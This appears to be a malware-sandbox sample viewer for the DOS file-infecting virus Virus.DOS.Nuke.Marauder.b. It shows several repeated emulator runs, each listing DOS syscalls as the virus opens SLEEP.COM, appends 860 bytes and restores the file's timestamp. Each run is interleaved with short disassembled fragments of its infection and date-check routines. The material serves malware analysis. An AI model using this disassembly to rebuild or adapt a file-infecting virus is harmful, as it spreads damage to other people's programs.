Sample viewer

vx.netlux.org/Virus.DOS.Nuke.Marauder.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:04:49.563979574Z 53 PC: 12ae4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:04:49.565406076Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:04:49.567189364Z 71 PC: 12b01 | Get current directory
2018-12-17T22:04:49.570017406Z 25 PC: 12b06 | Get default drive
2018-12-17T22:04:49.571231825Z 26 PC: 12b2d | Set disk transfer address
2018-12-17T22:04:49.572652546Z 42 PC: 12b31 | Get date 0x12b31: cmp dx, 0x202
0x12b35: jne 0x12b3a
0x12b37: jmp 0x12cf8
0x12b3a: mov ah, 0x4e
0x12b3c: lea dx, word ptr [si + 0x438]
0x12b40: mov cx, 7
0x12b43: int 0x21
0x12b45: jae 0x12b8b
0x12b47: mov ah, 0x1a
0x12b49: lea dx, word ptr [si + 0x518]
0x12b4d: int 0x21
0x12b4f: mov ah, 0x3b
0x12b51: lea dx, word ptr [si + 0x442]
0x12b55: int 0x21
0x12b57: jb 0x12b5b
0x12b59: jmp 0x12b25
0x12b5b: cmp byte ptr [si + 0x45d], 1
0x12b60: je 0x12b7b
0x12b62: mov al, 1
0x12b64: mov byte ptr [si + 0x45d], al
2018-12-17T22:04:49.574862268Z 78 PC: 12b45 | Find first file
2018-12-17T22:04:49.580791037Z 67 PC: 12b9e | Get or set file attributes
2018-12-17T22:04:49.596693664Z 61 PC: 12d46 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:04:49.60438427Z 63 PC: 12bc5 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:04:49.611150064Z 66 PC: 12d3c | Move file pointer
2018-12-17T22:04:49.613271466Z 44 PC: 12c30 | Get time 0x12c30: cmp dx, 0
0x12c33: je 0x12c2c
0x12c35: mov word ptr [si + 0x119], dx
0x12c39: mov cl, 8
0x12c3b: ror dx, cl
0x12c3d: mov word ptr [si + 0x45b], dx
0x12c41: cmp dl, 0x1e
0x12c44: jle 0x12c49
0x12c46: jmp 0x12c68
0x12c48: nop
0x12c49: lea si, word ptr [bp + 0x143]
0x12c4d: lea di, word ptr [bp + 0x11b]
0x12c51: mov cx, 0x10
0x12c54: call 0x12d0f
0x12c57: lea si, word ptr [bp + 0x153]
0x12c5b: lea di, word ptr [bp + 0x133]
0x12c5f: mov cx, 6
0x12c62: call 0x12d0f
0x12c65: jmp 0x12c84
0x12c67: nop
2018-12-17T22:04:49.617526456Z 64 PC: 12a7f | Write file or device (Write 860 bytes on handle 5)
2018-12-17T22:04:49.626639721Z 66 PC: 12d32 | Move file pointer
2018-12-17T22:04:49.628430638Z 64 PC: 12ca8 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:04:49.635317399Z 87 PC: 12cb9 | Get or set file date and time
2018-12-17T22:04:49.636782955Z 62 PC: 12cbd | Close file
2018-12-17T22:04:49.645715199Z 67 PC: 12ccc | Get or set file attributes
2018-12-17T22:04:49.655545408Z 59 PC: 12cd4 | Change current directory
2018-12-17T22:04:49.66027367Z 26 PC: 12cdb | Set disk transfer address
2018-12-17T22:04:49.6623042Z 37 PC: 12ce6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":1657,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:04.84194253Z 53 PC: 12ae4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:04.850116782Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:04.851096925Z 71 PC: 12b01 | Get current directory
2018-12-25T11:44:04.853689525Z 25 PC: 12b06 | Get default drive
2018-12-25T11:44:04.85523316Z 26 PC: 12b2d | Set disk transfer address
2018-12-25T11:44:04.856381177Z 42 PC: 12b31 | Get date 0x12b31: cmp dx, 0x202
0x12b35: jne 0x12b3a
0x12b37: jmp 0x12cf8
0x12b3a: mov ah, 0x4e
0x12b3c: lea dx, word ptr [si + 0x438]
0x12b40: mov cx, 7
0x12b43: int 0x21
0x12b45: jae 0x12b8b
0x12b47: mov ah, 0x1a
0x12b49: lea dx, word ptr [si + 0x518]
0x12b4d: int 0x21
0x12b4f: mov ah, 0x3b
0x12b51: lea dx, word ptr [si + 0x442]
0x12b55: int 0x21
0x12b57: jb 0x12b5b
0x12b59: jmp 0x12b25
0x12b5b: cmp byte ptr [si + 0x45d], 1
0x12b60: je 0x12b7b
0x12b62: mov al, 1
0x12b64: mov byte ptr [si + 0x45d], al
2018-12-25T11:44:04.858301333Z 78 PC: 12b45 | Find first file
2018-12-25T11:44:04.864598644Z 67 PC: 12b9e | Get or set file attributes
2018-12-25T11:44:06.041484394Z 61 PC: 12d46 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:44:06.048472207Z 63 PC: 12bc5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:44:06.063300161Z 66 PC: 12d3c | Move file pointer
2018-12-25T11:44:06.064942456Z 44 PC: 12c30 | Get time 0x12c30: cmp dx, 0
0x12c33: je 0x12c2c
0x12c35: mov word ptr [si + 0x119], dx
0x12c39: mov cl, 8
0x12c3b: ror dx, cl
0x12c3d: mov word ptr [si + 0x45b], dx
0x12c41: cmp dl, 0x1e
0x12c44: jle 0x12c49
0x12c46: jmp 0x12c68
0x12c48: nop
0x12c49: lea si, word ptr [bp + 0x143]
0x12c4d: lea di, word ptr [bp + 0x11b]
0x12c51: mov cx, 0x10
0x12c54: call 0x12d0f
0x12c57: lea si, word ptr [bp + 0x153]
0x12c5b: lea di, word ptr [bp + 0x133]
0x12c5f: mov cx, 6
0x12c62: call 0x12d0f
0x12c65: jmp 0x12c84
0x12c67: nop
2018-12-25T11:44:06.067552431Z 64 PC: 12a7f | Write file or device (Write 860 bytes on handle 5)
2018-12-25T11:44:06.265043875Z 66 PC: 12d32 | Move file pointer
2018-12-25T11:44:06.266788784Z 64 PC: 12ca8 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:44:06.272919793Z 87 PC: 12cb9 | Get or set file date and time
2018-12-25T11:44:06.274295487Z 62 PC: 12cbd | Close file
2018-12-25T11:44:06.339359948Z 67 PC: 12ccc | Get or set file attributes
2018-12-25T11:44:06.37397037Z 59 PC: 12cd4 | Change current directory
2018-12-25T11:44:06.378421877Z 26 PC: 12cdb | Set disk transfer address
2018-12-25T11:44:06.380903564Z 37 PC: 12ce6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":1657,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:04.990402089Z 53 PC: 12ae4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:04.993555601Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:04.994865838Z 71 PC: 12b01 | Get current directory
2018-12-25T11:44:04.997969959Z 25 PC: 12b06 | Get default drive
2018-12-25T11:44:04.999163466Z 26 PC: 12b2d | Set disk transfer address
2018-12-25T11:44:05.00055424Z 42 PC: 12b31 | Get date 0x12b31: cmp dx, 0x202
0x12b35: jne 0x12b3a
0x12b37: jmp 0x12cf8
0x12b3a: mov ah, 0x4e
0x12b3c: lea dx, word ptr [si + 0x438]
0x12b40: mov cx, 7
0x12b43: int 0x21
0x12b45: jae 0x12b8b
0x12b47: mov ah, 0x1a
0x12b49: lea dx, word ptr [si + 0x518]
0x12b4d: int 0x21
0x12b4f: mov ah, 0x3b
0x12b51: lea dx, word ptr [si + 0x442]
0x12b55: int 0x21
0x12b57: jb 0x12b5b
0x12b59: jmp 0x12b25
0x12b5b: cmp byte ptr [si + 0x45d], 1
0x12b60: je 0x12b7b
0x12b62: mov al, 1
0x12b64: mov byte ptr [si + 0x45d], al
2018-12-25T11:44:05.003242825Z 78 PC: 12b45 | Find first file
2018-12-25T11:44:05.009867956Z 67 PC: 12b9e | Get or set file attributes
2018-12-25T11:44:05.072898834Z 61 PC: 12d46 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:44:05.081406219Z 63 PC: 12bc5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:44:05.090119003Z 66 PC: 12d3c | Move file pointer
2018-12-25T11:44:05.095981719Z 44 PC: 12c30 | Get time 0x12c30: cmp dx, 0
0x12c33: je 0x12c2c
0x12c35: mov word ptr [si + 0x119], dx
0x12c39: mov cl, 8
0x12c3b: ror dx, cl
0x12c3d: mov word ptr [si + 0x45b], dx
0x12c41: cmp dl, 0x1e
0x12c44: jle 0x12c49
0x12c46: jmp 0x12c68
0x12c48: nop
0x12c49: lea si, word ptr [bp + 0x143]
0x12c4d: lea di, word ptr [bp + 0x11b]
0x12c51: mov cx, 0x10
0x12c54: call 0x12d0f
0x12c57: lea si, word ptr [bp + 0x153]
0x12c5b: lea di, word ptr [bp + 0x133]
0x12c5f: mov cx, 6
0x12c62: call 0x12d0f
0x12c65: jmp 0x12c84
0x12c67: nop
2018-12-25T11:44:05.09948276Z 64 PC: 12a7f | Write file or device (Write 860 bytes on handle 5)
2018-12-25T11:44:05.110133161Z 66 PC: 12d32 | Move file pointer
2018-12-25T11:44:05.11262456Z 64 PC: 12ca8 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:44:05.123961844Z 87 PC: 12cb9 | Get or set file date and time
2018-12-25T11:44:05.125675685Z 62 PC: 12cbd | Close file
2018-12-25T11:44:05.135447052Z 67 PC: 12ccc | Get or set file attributes
2018-12-25T11:44:05.146868288Z 59 PC: 12cd4 | Change current directory
2018-12-25T11:44:05.151557144Z 26 PC: 12cdb | Set disk transfer address
2018-12-25T11:44:05.152942876Z 37 PC: 12ce6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":1657,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:05.293681812Z 53 PC: 12ae4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:05.295232929Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:05.296243623Z 71 PC: 12b01 | Get current directory
2018-12-25T11:44:05.29881698Z 25 PC: 12b06 | Get default drive
2018-12-25T11:44:05.300531089Z 26 PC: 12b2d | Set disk transfer address
2018-12-25T11:44:05.301522407Z 42 PC: 12b31 | Get date 0x12b31: cmp dx, 0x202
0x12b35: jne 0x12b3a
0x12b37: jmp 0x12cf8
0x12b3a: mov ah, 0x4e
0x12b3c: lea dx, word ptr [si + 0x438]
0x12b40: mov cx, 7
0x12b43: int 0x21
0x12b45: jae 0x12b8b
0x12b47: mov ah, 0x1a
0x12b49: lea dx, word ptr [si + 0x518]
0x12b4d: int 0x21
0x12b4f: mov ah, 0x3b
0x12b51: lea dx, word ptr [si + 0x442]
0x12b55: int 0x21
0x12b57: jb 0x12b5b
0x12b59: jmp 0x12b25
0x12b5b: cmp byte ptr [si + 0x45d], 1
0x12b60: je 0x12b7b
0x12b62: mov al, 1
0x12b64: mov byte ptr [si + 0x45d], al
2018-12-25T11:44:05.305569217Z 78 PC: 12b45 | Find first file
2018-12-25T11:44:05.311895359Z 67 PC: 12b9e | Get or set file attributes
2018-12-25T11:44:06.978219512Z 61 PC: 12d46 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:44:06.988554197Z 63 PC: 12bc5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:44:06.996445344Z 66 PC: 12d3c | Move file pointer
2018-12-25T11:44:06.998926153Z 44 PC: 12c30 | Get time 0x12c30: cmp dx, 0
0x12c33: je 0x12c2c
0x12c35: mov word ptr [si + 0x119], dx
0x12c39: mov cl, 8
0x12c3b: ror dx, cl
0x12c3d: mov word ptr [si + 0x45b], dx
0x12c41: cmp dl, 0x1e
0x12c44: jle 0x12c49
0x12c46: jmp 0x12c68
0x12c48: nop
0x12c49: lea si, word ptr [bp + 0x143]
0x12c4d: lea di, word ptr [bp + 0x11b]
0x12c51: mov cx, 0x10
0x12c54: call 0x12d0f
0x12c57: lea si, word ptr [bp + 0x153]
0x12c5b: lea di, word ptr [bp + 0x133]
0x12c5f: mov cx, 6
0x12c62: call 0x12d0f
0x12c65: jmp 0x12c84
0x12c67: nop
2018-12-25T11:44:07.00168869Z 64 PC: 12a7f | Write file or device (Write 860 bytes on handle 5)
2018-12-25T11:44:07.011983238Z 66 PC: 12d32 | Move file pointer
2018-12-25T11:44:07.014087606Z 64 PC: 12ca8 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:44:07.021214632Z 87 PC: 12cb9 | Get or set file date and time
2018-12-25T11:44:07.033680229Z 62 PC: 12cbd | Close file
2018-12-25T11:44:07.041827162Z 67 PC: 12ccc | Get or set file attributes
2018-12-25T11:44:07.051963251Z 59 PC: 12cd4 | Change current directory
2018-12-25T11:44:07.066530905Z 26 PC: 12cdb | Set disk transfer address
2018-12-25T11:44:07.06947Z 37 PC: 12ce6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":1657,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:05.385844607Z 53 PC: 12ae4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:05.392441064Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:44:05.393497925Z 71 PC: 12b01 | Get current directory
2018-12-25T11:44:05.397202829Z 25 PC: 12b06 | Get default drive
2018-12-25T11:44:05.398821893Z 26 PC: 12b2d | Set disk transfer address
2018-12-25T11:44:05.399842344Z 42 PC: 12b31 | Get date 0x12b31: cmp dx, 0x202
0x12b35: jne 0x12b3a
0x12b37: jmp 0x12cf8
0x12b3a: mov ah, 0x4e
0x12b3c: lea dx, word ptr [si + 0x438]
0x12b40: mov cx, 7
0x12b43: int 0x21
0x12b45: jae 0x12b8b
0x12b47: mov ah, 0x1a
0x12b49: lea dx, word ptr [si + 0x518]
0x12b4d: int 0x21
0x12b4f: mov ah, 0x3b
0x12b51: lea dx, word ptr [si + 0x442]
0x12b55: int 0x21
0x12b57: jb 0x12b5b
0x12b59: jmp 0x12b25
0x12b5b: cmp byte ptr [si + 0x45d], 1
0x12b60: je 0x12b7b
0x12b62: mov al, 1
0x12b64: mov byte ptr [si + 0x45d], al
2018-12-25T11:44:05.401848912Z 78 PC: 12b45 | Find first file
2018-12-25T11:44:05.408157164Z 67 PC: 12b9e | Get or set file attributes
2018-12-25T11:44:06.973453176Z 61 PC: 12d46 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:44:06.983632584Z 63 PC: 12bc5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:44:06.990254487Z 66 PC: 12d3c | Move file pointer
2018-12-25T11:44:06.997165403Z 44 PC: 12c30 | Get time 0x12c30: cmp dx, 0
0x12c33: je 0x12c2c
0x12c35: mov word ptr [si + 0x119], dx
0x12c39: mov cl, 8
0x12c3b: ror dx, cl
0x12c3d: mov word ptr [si + 0x45b], dx
0x12c41: cmp dl, 0x1e
0x12c44: jle 0x12c49
0x12c46: jmp 0x12c68
0x12c48: nop
0x12c49: lea si, word ptr [bp + 0x143]
0x12c4d: lea di, word ptr [bp + 0x11b]
0x12c51: mov cx, 0x10
0x12c54: call 0x12d0f
0x12c57: lea si, word ptr [bp + 0x153]
0x12c5b: lea di, word ptr [bp + 0x133]
0x12c5f: mov cx, 6
0x12c62: call 0x12d0f
0x12c65: jmp 0x12c84
0x12c67: nop
2018-12-25T11:44:07.000249215Z 64 PC: 12a7f | Write file or device (Write 860 bytes on handle 5)
2018-12-25T11:44:07.009620664Z 66 PC: 12d32 | Move file pointer
2018-12-25T11:44:07.011798601Z 64 PC: 12ca8 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:44:07.018108688Z 87 PC: 12cb9 | Get or set file date and time
2018-12-25T11:44:07.019489838Z 62 PC: 12cbd | Close file
2018-12-25T11:44:07.027313589Z 67 PC: 12ccc | Get or set file attributes
2018-12-25T11:44:07.037246166Z 59 PC: 12cd4 | Change current directory
2018-12-25T11:44:07.041454521Z 26 PC: 12cdb | Set disk transfer address
2018-12-25T11:44:07.043371999Z 37 PC: 12ce6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')